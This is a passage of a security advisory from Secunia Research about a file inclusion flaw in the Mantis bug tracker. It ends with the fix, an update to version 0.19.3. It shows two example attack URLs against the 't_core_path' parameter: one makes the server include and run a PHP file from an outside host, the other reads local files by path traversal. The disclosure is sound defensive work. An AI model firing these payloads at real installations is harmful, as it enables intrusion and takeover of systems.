4) Description of Vulnerability

Secunia Research has discovered a vulnerability in Mantis, which can 
be exploited by malicious people to compromise a vulnerable system.

Input passed to the "t_core_path" parameter in 
"bug_sponsorship_list_view_inc.php" isn't properly verified, before 
it used to include files. This can be exploited to include arbitrary 
files from external and local resources.

Examples:
http://[host]/bug_sponsorship_list_view_inc.php?
t_core_path=http://[host]/[file].php?
http://[host]/bug_sponsorship_list_view_inc.php?
t_core_path=../../../../../../../[file]%00

Successful exploitation requires that "register_globals" is enabled 
(not recommended setting).

The vulnerability has been confirmed in versions 0.19.2 and 1.0.0rc2. 
Other versions may also be affected.

5) Solution

Update to version 0.19.3.
